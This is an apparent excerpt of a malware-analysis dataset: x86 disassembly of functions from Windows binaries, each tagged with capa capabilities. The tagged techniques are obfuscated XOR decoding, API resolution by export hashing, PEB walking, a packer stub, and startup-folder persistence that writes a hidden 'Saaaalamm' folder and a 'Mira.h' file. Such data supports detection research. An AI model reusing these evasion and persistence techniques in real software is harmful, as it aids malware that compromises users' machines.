joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7401b163
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
lea ecx, [ebx + 0xe28]
call fcn.7402def5
test eax, eax
jne 0x7401b2db
push esi
push 0xdde
xor esi, esi
push esi
push ebx
call sub.msvcrt.dll_memset
add esp, 0xc
xor eax, eax
mov ecx, ebx
mov word [ebx + 0xdde], ax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.7401b04a
test eax, eax
jne 0x7401b2da
mov eax, dword [ebp + 0x10]
mov edx, 0x1c4
push edi
mov dword [ebx + 0xdaa], eax
lea edi, [ebx + 0x10a0]
push 8
pop ecx
xor eax, eax
mov dword [ebx + 0xe40], ebx
mov dword [ebx + 0x10c0], 0x10c4
rep stosd dword es:[edi], eax
or dword [ebx + 0xe18], 0xffffffff
mov ecx, ebx
call fcn.7401cb9c
mov eax, dword [ebp + 0x14]
mov dword [ebx + 0xd02], eax
lea eax, [ebp - 4]
push eax
push 0x74002d0c
mov dword [ebx + 0xde0], 0x7401ee10
mov dword [ebx + 0xde4], 0x7401e980
mov dword [ebx + 0xde8], 0x7401ea30
mov dword [ebx + 0xdec], 0x7401e7e0
mov dword [ebx + 0xdf0], 0x7401e860
mov dword [ebx + 0xdf4], 0x7401e880
mov dword [ebx + 0xdf8], 0x7401e820
mov dword [ebx + 0xdfc], 0x740079b0
push 0x80000002
mov dword [ebx + 0xdae], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x7401b2d7
push 4
pop edi
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push 0x740034b4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x7401b292
cmp dword [ebp - 0xc], edi
jne 0x7401b292
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x740034c8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x7401b2ce
cmp dword [ebp - 0xc], edi
jne 0x7401b2ce
cmp dword [ebp - 0x10], eax
jne 0x7401b2c8
or dword [ebx + 0xdae], 0xffffffff
jmp 0x7401b2ce
mov dword [ebx + 0xdae], esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x7401f6dd
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push 0x74002d0c
push 0x80000002
mov esi, edx
mov dword [ebp - 4], edi
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x7401f737
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x7401f733
cmp dword [ebp - 8], ebx
jne 0x7401f733
inc edi
mov eax, edi
jmp 0x7401f739
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x74045db0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x74045dee
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x74045de6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x74045df0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x74045dd6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x74045ec0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x74045ed6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x74045ef1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x7406945c
Capabilities:
Encode data using xor

Disassembly:
call 0x740693d5
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x74069405
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x74069421
xor edx, 0
jmp 0x7406942c
xor edx, edx
jmp 0x74069443
jmp 0x7406944f
xor eax, eax
push 0x8427d7c0
call 0x7406945c
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x74069498
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x74069471
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x740694af
add eax, 0
jno 0x740694b4
add esi, 0
ret 0x10
Function at 0x7406a21d
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x7406a23f
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x7406a3e1
cmp edi, dword [ebp + 0x10]
jb 0x7406a3e1
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.74069d09
inc edi
jmp 0x7406a2c8
jmp 0x7406a2d5
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.74069d09
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.74069d09
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x7406a329
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x7406a30d
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.7406a357
add dword [eax], 0x39
jle 0x7406a333
sub al, 0xf5
mov ch, al
call fcn.7406a36c
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x7406c044
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x7406c05a
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x7406c06b
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.7406c0ac
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x7406e418
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x7406e361
add ebx, 0
push ecx
call 0x7406e376
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x703761ec
sub ebx, dword [0x70395a2b]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x70395a1b
call fcn.74069e40
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.7406934e
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x7406e4d4
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x7406e4d4
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x7406e48b
mov eax, 1
lock xchg dword [0x70395a27], eax
push 0x3dd1fc71
call 0x7406e418
push esi
add esp, 8
cmp eax, 0
jne 0x7406e401
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x7406e427
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x7406e43c
cmp ecx, edx
cmp eax, 0
je 0x7406e461
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x7406e44b
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.7406e47a
dec eax
loope 0x7406e47d
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x70395a27], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x7406e4b1
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x7406e4c6
jmp 0x7406e4d1
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x7406e3bf
Function at 0x74075539
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x7407580f
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x7038269f
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x70379665
push 0xffffffffffffffff
call fcn.7406c739
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x740755a3
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.740755bb
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x74075803
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x740757d7
Function at 0x74085009
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x7408502b
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x7408502b
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x7408502b
ret
cmp word [ebx + 4], 0x14c
jne 0x7408502b
test word [ebx + 0x16], 2
je 0x7408502b
test word [ebx + 0x16], 0x100
je 0x7408502b
cmp word [ebx + 0x18], 0x10b
jne 0x7408502b
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x7408502b
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x740850b7
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x7408504b
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7406bf96
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x7408502b
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x740850b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x7408502b
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x7408502b
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x7408502b
ret
cmp word [ebx + 4], 0x14c
jne 0x7408502b
test word [ebx + 0x16], 2
je 0x7408502b
test word [ebx + 0x16], 0x100
je 0x7408502b
cmp word [ebx + 0x18], 0x10b
jne 0x7408502b
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x7408502b
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x740850b7
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x7408504b
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7406bf96
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x7408502b
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x7408516e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x740851c7
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x7408516e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x7408517d
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x7448ae20
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x740851ce
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7406c044
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7408526d
add edi, 4
add eax, 2
dec ecx
jne 0x740851b3
call 0x7408521a
loope 0x74085210
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x7408526a
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x7408527b
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7408522e
cmp eax, ecx
ja 0x7408522e
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x740852b8
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x740852ae
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7406c523
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x7408517d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x740851c7
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x7408516e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x7408517d
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x7448ae20
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x740851ce
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7406c044
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7408526d
add edi, 4
add eax, 2
dec ecx
jne 0x740851b3
call 0x7408521a
loope 0x74085210
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x7408526a
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x7408527b
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7408522e
cmp eax, ecx
ja 0x7408522e
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x740852b8
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x740852ae
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7406c523
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d7a
sub eax, 0x403d20
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp int.00401219
Function at 0x25807297
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x2581bb95
call fcn.2581acc1
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov ecx, dword [0x25824498]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x25823cc0]
cmp eax, dword [ecx + 4]
jg 0x25807364
cmp byte [0x25823cbc], 0
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
call fcn.25815dce
push 1
lea esi, [eax + 6]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push esi
push edi
call fcn.25815dce
add esp, 0x14
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
push str._nEFS:TMS:
call fcn.2580cd40
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 1
call fcn.2580cca0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 0x10
jb 0x2580735e
inc eax
push eax
push dword [ebp - 0x28]
call fcn.25815dce
pop ecx
pop ecx
call fcn.2581acb0
ret
mov edi, 0x25823cc0
push edi
call fcn.25815dce
cmp dword [0x25823cc0], 0xffffffff
pop ecx
jne 0x258072c5
mov eax, dword [0x25823df0]
mov dword [ebp - 4], ebx
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2581d220]
call esi
test al, al
je 0x258073c2
mov eax, dword [0x258240cc]
push ebx
push str.enableTMSLogging
push 0x2581db80
mov esi, dword [eax + 0x5a8]
mov ecx, esi
call dword [0x2581d220]
call esi
add esp, 0xc
test ax, ax
mov al, 1
jne 0x258073c6
jmp 0x258073c2
mov al, bl
jmp 0x258073c6
or dword [ebp - 4], 0xffffffff
push edi
mov byte [0x25823cbc], al
call fcn.25815dce
pop ecx
jmp 0x258072c5
Function at 0x401400
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x10], 0x441030
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1f
lea eax, [edx + eax]
sar eax, 1
add eax, eax
sub edx, eax
mov eax, edx
add eax, 5
mov dword [esp], eax
call sym.unk_8
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x43d000
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
leave
ret

Function at 0x4015c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
leave
ret
Function at 0x401d36
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov dword [ebp - 0x23c], sym.unk_24
mov dword [ebp - 0x238], 0x43c046
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401f6a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d0f0
add dword [0x441018], 0xfffffff9
adc dword [0x44101c], 0xffffffff
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
mov dword [ebp - 0x250], 0xffffffff
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_CreateDirectoryA
sub esp, 8
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x10
mov dword [esp], 4
call sym.unk_13
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4410b0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.unk_67
mov dword [esp + 4], 8
mov dword [esp], 4
call sym.unk_13
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.unk_67
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov edx, dword [ebp - 0x25c]
cmp edx, dword [0x44101c]
jg 0x401f2b
mov eax, dword [ebp - 0x25c]
cmp eax, dword [0x44101c]
jl 0x401ed0
mov edx, dword [ebp - 0x260]
cmp edx, dword [0x441018]
jae 0x401f2b
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.unk_176
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x118]
add eax, 8
mov dword [esp], eax
call sym.unk_123
lea eax, [ebp - 0x220]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401e8e
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.unk_66
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.unk_66
mov dword [esp + 4], 2
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_SetFileAttributesA
sub esp, 8
jmp 0x401fb6
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.unk_52
jmp 0x402018
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x250], 0xffffffff
call sym.unk_52
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d1d0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret